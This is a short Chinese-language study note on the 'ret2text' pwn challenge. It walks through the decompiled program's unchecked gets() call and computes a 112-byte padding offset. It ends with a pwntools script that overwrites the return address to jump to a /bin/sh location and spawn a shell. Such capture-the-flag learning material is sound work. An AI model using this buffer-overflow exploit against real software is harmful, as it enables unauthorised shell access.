pwn学习笔记-ret2text
查看程序基本信息
开启了NX,代表着栈上的数据是不可执行的
运行程序看一下
程序只有一个输入点,下面将程序拖入ida
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("There is something amazing here, do you know anything?");
gets(&s);
printf("Maybe I will tell you next time !");
return 0;
}
看到了无输入限制的gets函数,我们接下来计算一下程序gets函数的返回地址
可以看到地址是0x62616164,下面计算我们需要填充的字节数
需要填充112个无用字符
接下来我们在ida中查看是否存在/bin/sh
在地址0x0804863A处存在/bin/sh
接下来编写shell脚本
from pwn import *
p = process("./ret2text")
p.recvuntil('anything?\n')
p.sendline('a'*112+p32(0x0804863A))
p.interactive()
成功获得权限